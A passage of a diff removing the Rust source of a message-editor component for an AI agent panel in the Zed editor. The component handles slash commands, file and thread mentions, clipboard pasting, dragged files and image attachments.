-use ui::{ButtonLike, ButtonStyle, ContextMenu, Disclosure, ElevationIndex, prelude::*};
-use util::paths::PathStyle;
-use util::{ResultExt, debug_panic};
-use workspace::{CollaboratorId, Workspace};
-use zed_actions::agent::{Chat, PasteRaw};
-
-pub struct MessageEditor {
-    mention_set: Entity<MentionSet>,
-    editor: Entity<Editor>,
-    workspace: WeakEntity<Workspace>,
-    prompt_capabilities: Rc<RefCell<acp::PromptCapabilities>>,
-    available_commands: Rc<RefCell<Vec<acp::AvailableCommand>>>,
-    agent_name: SharedString,
-    thread_store: Option<Entity<ThreadStore>>,
-    _subscriptions: Vec<Subscription>,
-    _parse_slash_command_task: Task<()>,
-}
-
-#[derive(Clone, Copy, Debug)]
-pub enum MessageEditorEvent {
-    Send,
-    SendImmediately,
-    Cancel,
-    Focus,
-    LostFocus,
-}
-
-impl EventEmitter<MessageEditorEvent> for MessageEditor {}
-
-const COMMAND_HINT_INLAY_ID: InlayId = InlayId::Hint(0);
-
-impl PromptCompletionProviderDelegate for Entity<MessageEditor> {
-    fn supports_images(&self, cx: &App) -> bool {
-        self.read(cx).prompt_capabilities.borrow().image
-    }
-
-    fn supported_modes(&self, cx: &App) -> Vec<PromptContextType> {
-        let mut supported = vec![PromptContextType::File, PromptContextType::Symbol];
-        if self.read(cx).prompt_capabilities.borrow().embedded_context {
-            if self.read(cx).thread_store.is_some() {
-                supported.push(PromptContextType::Thread);
-            }
-            supported.extend(&[
-                PromptContextType::Diagnostics,
-                PromptContextType::Fetch,
-                PromptContextType::Rules,
-            ]);
-        }
-        supported
-    }
-
-    fn available_commands(&self, cx: &App) -> Vec<crate::completion_provider::AvailableCommand> {
-        self.read(cx)
-            .available_commands
-            .borrow()
-            .iter()
-            .map(|cmd| crate::completion_provider::AvailableCommand {
-                name: cmd.name.clone().into(),
-                description: cmd.description.clone().into(),
-                requires_argument: cmd.input.is_some(),
-            })
-            .collect()
-    }
-
-    fn confirm_command(&self, cx: &mut App) {
-        self.update(cx, |this, cx| this.send(cx));
-    }
-}
-
-impl MessageEditor {
-    pub fn new(
-        workspace: WeakEntity<Workspace>,
-        project: WeakEntity<Project>,
-        thread_store: Option<Entity<ThreadStore>>,
-        history: WeakEntity<AcpThreadHistory>,
-        prompt_store: Option<Entity<PromptStore>>,
-        prompt_capabilities: Rc<RefCell<acp::PromptCapabilities>>,
-        available_commands: Rc<RefCell<Vec<acp::AvailableCommand>>>,
-        agent_name: SharedString,
-        placeholder: &str,
-        mode: EditorMode,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) -> Self {
-        let language = Language::new(
-            language::LanguageConfig {
-                completion_query_characters: HashSet::from_iter(['.', '-', '_', '@']),
-                ..Default::default()
-            },
-            None,
-        );
-
-        let editor = cx.new(|cx| {
-            let buffer = cx.new(|cx| Buffer::local("", cx).with_language(Arc::new(language), cx));
-            let buffer = cx.new(|cx| MultiBuffer::singleton(buffer, cx));
-
-            let mut editor = Editor::new(mode, buffer, None, window, cx);
-            editor.set_placeholder_text(placeholder, window, cx);
-            editor.set_show_indent_guides(false, cx);
-            editor.set_show_completions_on_input(Some(true));
-            editor.set_soft_wrap();
-            editor.set_use_modal_editing(true);
-            editor.set_context_menu_options(ContextMenuOptions {
-                min_entries_visible: 12,
-                max_entries_visible: 12,
-                placement: Some(ContextMenuPlacement::Above),
-            });
-            editor.register_addon(MessageEditorAddon::new());
-
-            editor.set_custom_context_menu(|editor, _point, window, cx| {
-                let has_selection = editor.has_non_empty_selection(&editor.display_snapshot(cx));
-
-                Some(ContextMenu::build(window, cx, |menu, _, _| {
-                    menu.action("Cut", Box::new(editor::actions::Cut))
-                        .action_disabled_when(
-                            !has_selection,
-                            "Copy",
-                            Box::new(editor::actions::Copy),
-                        )
-                        .action("Paste", Box::new(editor::actions::Paste))
-                }))
-            });
-
-            editor
-        });
-        let mention_set =
-            cx.new(|_cx| MentionSet::new(project, thread_store.clone(), prompt_store.clone()));
-        let completion_provider = Rc::new(PromptCompletionProvider::new(
-            cx.entity(),
-            editor.downgrade(),
-            mention_set.clone(),
-            history,
-            prompt_store.clone(),
-            workspace.clone(),
-        ));
-        editor.update(cx, |editor, _cx| {
-            editor.set_completion_provider(Some(completion_provider.clone()))
-        });
-
-        cx.on_focus_in(&editor.focus_handle(cx), window, |_, _, cx| {
-            cx.emit(MessageEditorEvent::Focus)
-        })
-        .detach();
-        cx.on_focus_out(&editor.focus_handle(cx), window, |_, _, _, cx| {
-            cx.emit(MessageEditorEvent::LostFocus)
-        })
-        .detach();
-
-        let mut has_hint = false;
-        let mut subscriptions = Vec::new();
-
-        subscriptions.push(cx.subscribe_in(&editor, window, {
-            move |this, editor, event, window, cx| {
-                if let EditorEvent::Edited { .. } = event
-                    && !editor.read(cx).read_only(cx)
-                {
-                    editor.update(cx, |editor, cx| {
-                        let snapshot = editor.snapshot(window, cx);
-                        this.mention_set
-                            .update(cx, |mention_set, _cx| mention_set.remove_invalid(&snapshot));
-
-                        let new_hints = this
-                            .command_hint(snapshot.buffer())
-                            .into_iter()
-                            .collect::<Vec<_>>();
-                        let has_new_hint = !new_hints.is_empty();
-                        editor.splice_inlays(
-                            if has_hint {
-                                &[COMMAND_HINT_INLAY_ID]
-                            } else {
-                                &[]
-                            },
-                            new_hints,
-                            cx,
-                        );
-                        has_hint = has_new_hint;
-                    });
-                    cx.notify();
-                }
-            }
-        }));
-
-        Self {
-            editor,
-            mention_set,
-            workspace,
-            prompt_capabilities,
-            available_commands,
-            agent_name,
-            thread_store,
-            _subscriptions: subscriptions,
-            _parse_slash_command_task: Task::ready(()),
-        }
-    }
-
-    pub fn set_command_state(
-        &mut self,
-        prompt_capabilities: Rc<RefCell<acp::PromptCapabilities>>,
-        available_commands: Rc<RefCell<Vec<acp::AvailableCommand>>>,
-        _cx: &mut Context<Self>,
-    ) {
-        self.prompt_capabilities = prompt_capabilities;
-        self.available_commands = available_commands;
-    }
-
-    fn command_hint(&self, snapshot: &MultiBufferSnapshot) -> Option<Inlay> {
-        let available_commands = self.available_commands.borrow();
-        if available_commands.is_empty() {
-            return None;
-        }
-
-        let parsed_command = SlashCommandCompletion::try_parse(&snapshot.text(), 0)?;
-        if parsed_command.argument.is_some() {
-            return None;
-        }
-
-        let command_name = parsed_command.command?;
-        let available_command = available_commands
-            .iter()
-            .find(|command| command.name == command_name)?;
-
-        let acp::AvailableCommandInput::Unstructured(acp::UnstructuredCommandInput {
-            mut hint,
-            ..
-        }) = available_command.input.clone()?
-        else {
-            return None;
-        };
-
-        let mut hint_pos = MultiBufferOffset(parsed_command.source_range.end) + 1usize;
-        if hint_pos > snapshot.len() {
-            hint_pos = snapshot.len();
-            hint.insert(0, ' ');
-        }
-
-        let hint_pos = snapshot.anchor_after(hint_pos);
-
-        Some(Inlay::hint(
-            COMMAND_HINT_INLAY_ID,
-            hint_pos,
-            &InlayHint {
-                position: hint_pos.text_anchor,
-                label: InlayHintLabel::String(hint),
-                kind: Some(InlayHintKind::Parameter),
-                padding_left: false,
-                padding_right: false,
-                tooltip: None,
-                resolve_state: project::ResolveState::Resolved,
-            },
-        ))
-    }
-
-    pub fn insert_thread_summary(
-        &mut self,
-        thread: AgentSessionInfo,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        if self.thread_store.is_none() {
-            return;
-        }
-        let Some(workspace) = self.workspace.upgrade() else {
-            return;
-        };
-        let thread_title = thread
-            .title
-            .clone()
-            .filter(|title| !title.is_empty())
-            .unwrap_or_else(|| SharedString::new_static("New Thread"));
-        let uri = MentionUri::Thread {
-            id: thread.session_id,
-            name: thread_title.to_string(),
-        };
-        let content = format!("{}\n", uri.as_link());
-
-        let content_len = content.len() - 1;
-
-        let start = self.editor.update(cx, |editor, cx| {
-            editor.set_text(content, window, cx);
-            editor
-                .buffer()
-                .read(cx)
-                .snapshot(cx)
-                .anchor_before(Point::zero())
-                .text_anchor
-        });
-
-        let supports_images = self.prompt_capabilities.borrow().image;
-
-        self.mention_set
-            .update(cx, |mention_set, cx| {
-                mention_set.confirm_mention_completion(
-                    thread_title,
-                    start,
-                    content_len,
-                    uri,
-                    supports_images,
-                    self.editor.clone(),
-                    &workspace,
-                    window,
-                    cx,
-                )
-            })
-            .detach();
-    }
-
-    #[cfg(test)]
-    pub(crate) fn editor(&self) -> &Entity<Editor> {
-        &self.editor
-    }
-
-    pub fn is_empty(&self, cx: &App) -> bool {
-        self.editor.read(cx).is_empty(cx)
-    }
-
-    pub fn is_completions_menu_visible(&self, cx: &App) -> bool {
-        self.editor
-            .read(cx)
-            .context_menu()
-            .borrow()
-            .as_ref()
-            .is_some_and(|menu| matches!(menu, CodeContextMenu::Completions(_)) && menu.visible())
-    }
-
-    #[cfg(test)]
-    pub fn mention_set(&self) -> &Entity<MentionSet> {
-        &self.mention_set
-    }
-
-    fn validate_slash_commands(
-        text: &str,
-        available_commands: &[acp::AvailableCommand],
-        agent_name: &str,
-    ) -> Result<()> {
-        if let Some(parsed_command) = SlashCommandCompletion::try_parse(text, 0) {
-            if let Some(command_name) = parsed_command.command {
-                // Check if this command is in the list of available commands from the server
-                let is_supported = available_commands
-                    .iter()
-                    .any(|cmd| cmd.name == command_name);
-
-                if !is_supported {
-                    return Err(anyhow!(
-                        "The /{} command is not supported by {}.\n\nAvailable commands: {}",
-                        command_name,
-                        agent_name,
-                        if available_commands.is_empty() {
-                            "none".to_string()
-                        } else {
-                            available_commands
-                                .iter()
-                                .map(|cmd| format!("/{}", cmd.name))
-                                .collect::<Vec<_>>()
-                                .join(", ")
-                        }
-                    ));
-                }
-            }
-        }
-        Ok(())
-    }
-
-    pub fn contents(
-        &self,
-        full_mention_content: bool,
-        cx: &mut Context<Self>,
-    ) -> Task<Result<(Vec<acp::ContentBlock>, Vec<Entity<Buffer>>)>> {
-        let text = self.editor.read(cx).text(cx);
-        let available_commands = self.available_commands.borrow().clone();
-        let agent_name = self.agent_name.clone();
-
-        let contents = self
-            .mention_set
-            .update(cx, |store, cx| store.contents(full_mention_content, cx));
-        let editor = self.editor.clone();
-        let supports_embedded_context = self.prompt_capabilities.borrow().embedded_context;
-
-        cx.spawn(async move |_, cx| {
-            Self::validate_slash_commands(&text, &available_commands, &agent_name)?;
-
-            let contents = contents.await?;
-            let mut all_tracked_buffers = Vec::new();
-
-            let result = editor.update(cx, |editor, cx| {
-                let (mut ix, _) = text
-                    .char_indices()
-                    .find(|(_, c)| !c.is_whitespace())
-                    .unwrap_or((0, '\0'));
-                let mut chunks: Vec<acp::ContentBlock> = Vec::new();
-                let text = editor.text(cx);
-                editor.display_map.update(cx, |map, cx| {
-                    let snapshot = map.snapshot(cx);
-                    for (crease_id, crease) in snapshot.crease_snapshot.creases() {
-                        let Some((uri, mention)) = contents.get(&crease_id) else {
-                            continue;
-                        };
-
-                        let crease_range = crease.range().to_offset(&snapshot.buffer_snapshot());
-                        if crease_range.start.0 > ix {
-                            let chunk = text[ix..crease_range.start.0].into();
-                            chunks.push(chunk);
-                        }
-                        let chunk = match mention {
-                            Mention::Text {
-                                content,
-                                tracked_buffers,
-                            } => {
-                                all_tracked_buffers.extend(tracked_buffers.iter().cloned());
-                                if supports_embedded_context {
-                                    acp::ContentBlock::Resource(acp::EmbeddedResource::new(
-                                        acp::EmbeddedResourceResource::TextResourceContents(
-                                            acp::TextResourceContents::new(
-                                                content.clone(),
-                                                uri.to_uri().to_string(),
-                                            ),
-                                        ),
-                                    ))
-                                } else {
-                                    acp::ContentBlock::ResourceLink(acp::ResourceLink::new(
-                                        uri.name(),
-                                        uri.to_uri().to_string(),
-                                    ))
-                                }
-                            }
-                            Mention::Image(mention_image) => acp::ContentBlock::Image(
-                                acp::ImageContent::new(
-                                    mention_image.data.clone(),
-                                    mention_image.format.mime_type(),
-                                )
-                                .uri(match uri {
-                                    MentionUri::File { .. } => Some(uri.to_uri().to_string()),
-                                    MentionUri::PastedImage => None,
-                                    other => {
-                                        debug_panic!(
-                                            "unexpected mention uri for image: {:?}",
-                                            other
-                                        );
-                                        None
-                                    }
-                                }),
-                            ),
-                            Mention::Link => acp::ContentBlock::ResourceLink(
-                                acp::ResourceLink::new(uri.name(), uri.to_uri().to_string()),
-                            ),
-                        };
-                        chunks.push(chunk);
-                        ix = crease_range.end.0;
-                    }
-
-                    if ix < text.len() {
-                        let last_chunk = text[ix..].trim_end().to_owned();
-                        if !last_chunk.is_empty() {
-                            chunks.push(last_chunk.into());
-                        }
-                    }
-                });
-                anyhow::Ok((chunks, all_tracked_buffers))
-            })?;
-            Ok(result)
-        })
-    }
-
-    pub fn clear(&mut self, window: &mut Window, cx: &mut Context<Self>) {
-        self.editor.update(cx, |editor, cx| {
-            editor.clear(window, cx);
-            editor.remove_creases(
-                self.mention_set.update(cx, |mention_set, _cx| {
-                    mention_set
-                        .clear()
-                        .map(|(crease_id, _)| crease_id)
-                        .collect::<Vec<_>>()
-                }),
-                cx,
-            )
-        });
-    }
-
-    pub fn send(&mut self, cx: &mut Context<Self>) {
-        if !self.is_empty(cx) {
-            self.editor.update(cx, |editor, cx| {
-                editor.clear_inlay_hints(cx);
-            });
-        }
-        cx.emit(MessageEditorEvent::Send)
-    }
-
-    pub fn trigger_completion_menu(&mut self, window: &mut Window, cx: &mut Context<Self>) {
-        self.insert_context_prefix("@", window, cx);
-    }
-
-    pub fn insert_context_type(
-        &mut self,
-        context_keyword: &str,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        let prefix = format!("@{}", context_keyword);
-        self.insert_context_prefix(&prefix, window, cx);
-    }
-
-    fn insert_context_prefix(&mut self, prefix: &str, window: &mut Window, cx: &mut Context<Self>) {
-        let editor = self.editor.clone();
-        let prefix = prefix.to_string();
-
-        cx.spawn_in(window, async move |_, cx| {
-            editor
-                .update_in(cx, |editor, window, cx| {
-                    let menu_is_open =
-                        editor.context_menu().borrow().as_ref().is_some_and(|menu| {
-                            matches!(menu, CodeContextMenu::Completions(_)) && menu.visible()
-                        });
-
-                    let has_prefix = {
-                        let snapshot = editor.display_snapshot(cx);
-                        let cursor = editor.selections.newest::<text::Point>(&snapshot).head();
-                        let offset = cursor.to_offset(&snapshot);
-                        let buffer_snapshot = snapshot.buffer_snapshot();
-                        let prefix_char_count = prefix.chars().count();
-                        buffer_snapshot
-                            .reversed_chars_at(offset)
-                            .take(prefix_char_count)
-                            .eq(prefix.chars().rev())
-                    };
-
-                    if menu_is_open && has_prefix {
-                        return;
-                    }
-
-                    editor.insert(&prefix, window, cx);
-                    editor.show_completions(&editor::actions::ShowCompletions, window, cx);
-                })
-                .log_err();
-        })
-        .detach();
-    }
-
-    fn chat(&mut self, _: &Chat, _: &mut Window, cx: &mut Context<Self>) {
-        self.send(cx);
-    }
-
-    fn send_immediately(&mut self, _: &SendImmediately, _: &mut Window, cx: &mut Context<Self>) {
-        if self.is_empty(cx) {
-            return;
-        }
-
-        self.editor.update(cx, |editor, cx| {
-            editor.clear_inlay_hints(cx);
-        });
-
-        cx.emit(MessageEditorEvent::SendImmediately)
-    }
-
-    fn chat_with_follow(
-        &mut self,
-        _: &ChatWithFollow,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        self.workspace
-            .update(cx, |this, cx| {
-                this.follow(CollaboratorId::Agent, window, cx)
-            })
-            .log_err();
-
-        self.send(cx);
-    }
-
-    fn cancel(&mut self, _: &editor::actions::Cancel, _: &mut Window, cx: &mut Context<Self>) {
-        cx.emit(MessageEditorEvent::Cancel)
-    }
-
-    fn paste(&mut self, _: &Paste, window: &mut Window, cx: &mut Context<Self>) {
-        let Some(workspace) = self.workspace.upgrade() else {
-            return;
-        };
-        let editor_clipboard_selections = cx
-            .read_from_clipboard()
-            .and_then(|item| item.entries().first().cloned())
-            .and_then(|entry| match entry {
-                ClipboardEntry::String(text) => {
-                    text.metadata_json::<Vec<editor::ClipboardSelection>>()
-                }
-                _ => None,
-            });
-
-        // Insert creases for pasted clipboard selections that:
-        // 1. Contain exactly one selection
-        // 2. Have an associated file path
-        // 3. Span multiple lines (not single-line selections)
-        // 4. Belong to a file that exists in the current project
-        let should_insert_creases = util::maybe!({
-            let selections = editor_clipboard_selections.as_ref()?;
-            if selections.len() > 1 {
-                return Some(false);
-            }
-            let selection = selections.first()?;
-            let file_path = selection.file_path.as_ref()?;
-            let line_range = selection.line_range.as_ref()?;
-
-            if line_range.start() == line_range.end() {
-                return Some(false);
-            }
-
-            Some(
-                workspace
-                    .read(cx)
-                    .project()
-                    .read(cx)
-                    .project_path_for_absolute_path(file_path, cx)
-                    .is_some(),
-            )
-        })
-        .unwrap_or(false);
-
-        if should_insert_creases && let Some(selections) = editor_clipboard_selections {
-            cx.stop_propagation();
-            let insertion_target = self
-                .editor
-                .read(cx)
-                .selections
-                .newest_anchor()
-                .start
-                .text_anchor;
-
-            let project = workspace.read(cx).project().clone();
-            for selection in selections {
-                if let (Some(file_path), Some(line_range)) =
-                    (selection.file_path, selection.line_range)
-                {
-                    let crease_text =
-                        acp_thread::selection_name(Some(file_path.as_ref()), &line_range);
-
-                    let mention_uri = MentionUri::Selection {
-                        abs_path: Some(file_path.clone()),
-                        line_range: line_range.clone(),
-                    };
-
-                    let mention_text = mention_uri.as_link().to_string();
-                    let (excerpt_id, text_anchor, content_len) =
-                        self.editor.update(cx, |editor, cx| {
-                            let buffer = editor.buffer().read(cx);
-                            let snapshot = buffer.snapshot(cx);
-                            let (excerpt_id, _, buffer_snapshot) = snapshot.as_singleton().unwrap();
-                            let text_anchor = insertion_target.bias_left(&buffer_snapshot);
-
-                            editor.insert(&mention_text, window, cx);
-                            editor.insert(" ", window, cx);
-
-                            (excerpt_id, text_anchor, mention_text.len())
-                        });
-
-                    let Some((crease_id, tx)) = insert_crease_for_mention(
-                        excerpt_id,
-                        text_anchor,
-                        content_len,
-                        crease_text.into(),
-                        mention_uri.icon_path(cx),
-                        None,
-                        self.editor.clone(),
-                        window,
-                        cx,
-                    ) else {
-                        continue;
-                    };
-                    drop(tx);
-
-                    let mention_task = cx
-                        .spawn({
-                            let project = project.clone();
-                            async move |_, cx| {
-                                let project_path = project
-                                    .update(cx, |project, cx| {
-                                        project.project_path_for_absolute_path(&file_path, cx)
-                                    })
-                                    .ok_or_else(|| "project path not found".to_string())?;
-
-                                let buffer = project
-                                    .update(cx, |project, cx| project.open_buffer(project_path, cx))
-                                    .await
-                                    .map_err(|e| e.to_string())?;
-
-                                Ok(buffer.update(cx, |buffer, cx| {
-                                    let start =
-                                        Point::new(*line_range.start(), 0).min(buffer.max_point());
-                                    let end = Point::new(*line_range.end() + 1, 0)
-                                        .min(buffer.max_point());
-                                    let content = buffer.text_for_range(start..end).collect();
-                                    Mention::Text {
-                                        content,
-                                        tracked_buffers: vec![cx.entity()],
-                                    }
-                                }))
-                            }
-                        })
-                        .shared();
-
-                    self.mention_set.update(cx, |mention_set, _cx| {
-                        mention_set.insert_mention(crease_id, mention_uri.clone(), mention_task)
-                    });
-                }
-            }
-            return;
-        }
-        // Handle text paste with potential markdown mention links.
-        // This must be checked BEFORE paste_images_as_context because that function
-        // returns a task even when there are no images in the clipboard.
-        if let Some(clipboard_text) = cx
-            .read_from_clipboard()
-            .and_then(|item| item.entries().first().cloned())
-            .and_then(|entry| match entry {
-                ClipboardEntry::String(text) => Some(text.text().to_string()),
-                _ => None,
-            })
-        {
-            if clipboard_text.contains("[@") {
-                cx.stop_propagation();
-                let selections_before = self.editor.update(cx, |editor, cx| {
-                    let snapshot = editor.buffer().read(cx).snapshot(cx);
-                    editor
-                        .selections
-                        .disjoint_anchors()
-                        .iter()
-                        .map(|selection| {
-                            (
-                                selection.start.bias_left(&snapshot),
-                                selection.end.bias_right(&snapshot),
-                            )
-                        })
-                        .collect::<Vec<_>>()
-                });
-
-                self.editor.update(cx, |editor, cx| {
-                    editor.insert(&clipboard_text, window, cx);
-                });
-
-                let snapshot = self.editor.read(cx).buffer().read(cx).snapshot(cx);
-                let path_style = workspace.read(cx).project().read(cx).path_style(cx);
-
-                let mut all_mentions = Vec::new();
-                for (start_anchor, end_anchor) in selections_before {
-                    let start_offset = start_anchor.to_offset(&snapshot);
-                    let end_offset = end_anchor.to_offset(&snapshot);
-
-                    // Get the actual inserted text from the buffer (may differ due to auto-indent)
-                    let inserted_text: String =
-                        snapshot.text_for_range(start_offset..end_offset).collect();
-
-                    let parsed_mentions = parse_mention_links(&inserted_text, path_style);
-                    for (range, mention_uri) in parsed_mentions {
-                        let mention_start_offset = MultiBufferOffset(start_offset.0 + range.start);
-                        let anchor = snapshot.anchor_before(mention_start_offset);
-                        let content_len = range.end - range.start;
-                        all_mentions.push((anchor, content_len, mention_uri));
-                    }
-                }
-
-                if !all_mentions.is_empty() {
-                    let supports_images = self.prompt_capabilities.borrow().image;
-                    let http_client = workspace.read(cx).client().http_client();
-
-                    for (anchor, content_len, mention_uri) in all_mentions {
-                        let Some((crease_id, tx)) = insert_crease_for_mention(
-                            anchor.excerpt_id,
-                            anchor.text_anchor,
-                            content_len,
-                            mention_uri.name().into(),
-                            mention_uri.icon_path(cx),
-                            None,
-                            self.editor.clone(),
-                            window,
-                            cx,
-                        ) else {
-                            continue;
-                        };
-
-                        // Create the confirmation task based on the mention URI type.
-                        // This properly loads file content, fetches URLs, etc.
-                        let task = self.mention_set.update(cx, |mention_set, cx| {
-                            mention_set.confirm_mention_for_uri(
-                                mention_uri.clone(),
-                                supports_images,
-                                http_client.clone(),
-                                cx,
-                            )
-                        });
-                        let task = cx
-                            .spawn(async move |_, _| task.await.map_err(|e| e.to_string()))
-                            .shared();
-
-                        self.mention_set.update(cx, |mention_set, _cx| {
-                            mention_set.insert_mention(crease_id, mention_uri.clone(), task.clone())
-                        });
-
-                        // Drop the tx after inserting to signal the crease is ready
-                        drop(tx);
-                    }
-                    return;
-                }
-            }
-        }
-
-        if self.prompt_capabilities.borrow().image
-            && let Some(task) = paste_images_as_context(
-                self.editor.clone(),
-                self.mention_set.clone(),
-                self.workspace.clone(),
-                window,
-                cx,
-            )
-        {
-            task.detach();
-            return;
-        }
-
-        // Fall through to default editor paste
-        cx.propagate();
-    }
-
-    fn paste_raw(&mut self, _: &PasteRaw, window: &mut Window, cx: &mut Context<Self>) {
-        let editor = self.editor.clone();
-        window.defer(cx, move |window, cx| {
-            editor.update(cx, |editor, cx| editor.paste(&Paste, window, cx));
-        });
-    }
-
-    pub fn insert_dragged_files(
-        &mut self,
-        paths: Vec<project::ProjectPath>,
-        added_worktrees: Vec<Entity<Worktree>>,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        let Some(workspace) = self.workspace.upgrade() else {
-            return;
-        };
-        let project = workspace.read(cx).project().clone();
-        let path_style = project.read(cx).path_style(cx);
-        let buffer = self.editor.read(cx).buffer().clone();
-        let Some(buffer) = buffer.read(cx).as_singleton() else {
-            return;
-        };
-        let mut tasks = Vec::new();
-        for path in paths {
-            let Some(entry) = project.read(cx).entry_for_path(&path, cx) else {
-                continue;
-            };
-            let Some(worktree) = project.read(cx).worktree_for_id(path.worktree_id, cx) else {
-                continue;
-            };
-            let abs_path = worktree.read(cx).absolutize(&path.path);
-            let (file_name, _) = crate::completion_provider::extract_file_name_and_directory(
-                &path.path,
-                worktree.read(cx).root_name(),
-                path_style,
-            );
-
-            let uri = if entry.is_dir() {
-                MentionUri::Directory { abs_path }
-            } else {
-                MentionUri::File { abs_path }
-            };
-
-            let new_text = format!("{} ", uri.as_link());
-            let content_len = new_text.len() - 1;
-
-            let anchor = buffer.update(cx, |buffer, _cx| buffer.anchor_before(buffer.len()));
-
-            self.editor.update(cx, |message_editor, cx| {
-                message_editor.edit(
-                    [(
-                        multi_buffer::Anchor::max()..multi_buffer::Anchor::max(),
-                        new_text,
-                    )],
-                    cx,
-                );
-            });
-            let supports_images = self.prompt_capabilities.borrow().image;
-            tasks.push(self.mention_set.update(cx, |mention_set, cx| {
-                mention_set.confirm_mention_completion(
-                    file_name,
-                    anchor,
-                    content_len,
-                    uri,
-                    supports_images,
-                    self.editor.clone(),
-                    &workspace,
-                    window,
-                    cx,
-                )
-            }));
-        }
-        cx.spawn(async move |_, _| {
-            join_all(tasks).await;
-            drop(added_worktrees);
-        })
-        .detach();
-    }
-
-    /// Inserts code snippets as creases into the editor.
-    /// Each tuple contains (code_text, crease_title).
-    pub fn insert_code_creases(
-        &mut self,
-        creases: Vec<(String, String)>,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        self.editor.update(cx, |editor, cx| {
-            editor.insert("\n", window, cx);
-        });
-        for (text, crease_title) in creases {
-            self.insert_crease_impl(text, crease_title, IconName::TextSnippet, true, window, cx);
-        }
-    }
-
-    pub fn insert_terminal_crease(
-        &mut self,
-        text: String,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        let line_count = text.lines().count() as u32;
-        let mention_uri = MentionUri::TerminalSelection { line_count };
-        let mention_text = mention_uri.as_link().to_string();
-
-        let (excerpt_id, text_anchor, content_len) = self.editor.update(cx, |editor, cx| {
-            let buffer = editor.buffer().read(cx);
-            let snapshot = buffer.snapshot(cx);
-            let (excerpt_id, _, buffer_snapshot) = snapshot.as_singleton().unwrap();
-            let text_anchor = editor
-                .selections
-                .newest_anchor()
-                .start
-                .text_anchor
-                .bias_left(&buffer_snapshot);
-
-            editor.insert(&mention_text, window, cx);
-            editor.insert(" ", window, cx);
-
-            (excerpt_id, text_anchor, mention_text.len())
-        });
-
-        let Some((crease_id, tx)) = insert_crease_for_mention(
-            excerpt_id,
-            text_anchor,
-            content_len,
-            mention_uri.name().into(),
-            mention_uri.icon_path(cx),
-            None,
-            self.editor.clone(),
-            window,
-            cx,
-        ) else {
-            return;
-        };
-        drop(tx);
-
-        let mention_task = Task::ready(Ok(Mention::Text {
-            content: text,
-            tracked_buffers: vec![],
-        }))
-        .shared();
-
-        self.mention_set.update(cx, |mention_set, _| {
-            mention_set.insert_mention(crease_id, mention_uri, mention_task);
-        });
-    }
-
-    fn insert_crease_impl(
-        &mut self,
-        text: String,
-        title: String,
-        icon: IconName,
-        add_trailing_newline: bool,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        use editor::display_map::{Crease, FoldPlaceholder};
-        use multi_buffer::MultiBufferRow;
-        use rope::Point;
-
-        self.editor.update(cx, |editor, cx| {
-            let point = editor
-                .selections
-                .newest::<Point>(&editor.display_snapshot(cx))
-                .head();
-            let start_row = MultiBufferRow(point.row);
-
-            editor.insert(&text, window, cx);
-
-            let snapshot = editor.buffer().read(cx).snapshot(cx);
-            let anchor_before = snapshot.anchor_after(point);
-            let anchor_after = editor
-                .selections
-                .newest_anchor()
-                .head()
-                .bias_left(&snapshot);
-
-            if add_trailing_newline {
-                editor.insert("\n", window, cx);
-            }
-
-            let fold_placeholder = FoldPlaceholder {
-                render: Arc::new({
-                    let title = title.clone();
-                    move |_fold_id, _fold_range, _cx| {
-                        ButtonLike::new("crease")
-                            .style(ButtonStyle::Filled)
-                            .layer(ElevationIndex::ElevatedSurface)
-                            .child(Icon::new(icon))
-                            .child(Label::new(title.clone()).single_line())
-                            .into_any_element()
-                    }
-                }),
-                merge_adjacent: false,
-                ..Default::default()
-            };
-
-            let crease = Crease::inline(
-                anchor_before..anchor_after,
-                fold_placeholder,
-                |row, is_folded, fold, _window, _cx| {
-                    Disclosure::new(("crease-toggle", row.0 as u64), !is_folded)
-                        .toggle_state(is_folded)
-                        .on_click(move |_e, window, cx| fold(!is_folded, window, cx))
-                        .into_any_element()
-                },
-                |_, _, _, _| gpui::Empty.into_any(),
-            );
-            editor.insert_creases(vec![crease], cx);
-            editor.fold_at(start_row, window, cx);
-        });
-    }
-
-    pub fn insert_selections(&mut self, window: &mut Window, cx: &mut Context<Self>) {
-        let editor = self.editor.read(cx);
-        let editor_buffer = editor.buffer().read(cx);
-        let Some(buffer) = editor_buffer.as_singleton() else {
-            return;
-        };
-        let cursor_anchor = editor.selections.newest_anchor().head();
-        let cursor_offset = cursor_anchor.to_offset(&editor_buffer.snapshot(cx));
-        let anchor = buffer.update(cx, |buffer, _cx| {
-            buffer.anchor_before(cursor_offset.0.min(buffer.len()))
-        });
-        let Some(workspace) = self.workspace.upgrade() else {
-            return;
-        };
-        let Some(completion) =
-            PromptCompletionProvider::<Entity<MessageEditor>>::completion_for_action(
-                PromptContextAction::AddSelections,
-                anchor..anchor,
-                self.editor.downgrade(),
-                self.mention_set.downgrade(),
-                &workspace,
-                cx,
-            )
-        else {
-            return;
-        };
-
-        self.editor.update(cx, |message_editor, cx| {
-            message_editor.edit([(cursor_anchor..cursor_anchor, completion.new_text)], cx);
-            message_editor.request_autoscroll(Autoscroll::fit(), cx);
-        });
-        if let Some(confirm) = completion.confirm {
-            confirm(CompletionIntent::Complete, window, cx);
-        }
-    }
-
-    pub fn add_images_from_picker(&mut self, window: &mut Window, cx: &mut Context<Self>) {
-        if !self.prompt_capabilities.borrow().image {
-            return;
-        }
-
-        let editor = self.editor.clone();
-        let mention_set = self.mention_set.clone();
-        let workspace = self.workspace.clone();
-
-        let paths_receiver = cx.prompt_for_paths(gpui::PathPromptOptions {
-            files: true,
-            directories: false,
-            multiple: true,
-            prompt: Some("Select Images".into()),
-        });
-
-        window
-            .spawn(cx, async move |cx| {
-                let paths = match paths_receiver.await {
-                    Ok(Ok(Some(paths))) => paths,
-                    _ => return Ok::<(), anyhow::Error>(()),
-                };
-
-                let supported_formats = [
-                    ("png", gpui::ImageFormat::Png),
-                    ("jpg", gpui::ImageFormat::Jpeg),
-                    ("jpeg", gpui::ImageFormat::Jpeg),
-                    ("webp", gpui::ImageFormat::Webp),
-                    ("gif", gpui::ImageFormat::Gif),
-                    ("bmp", gpui::ImageFormat::Bmp),
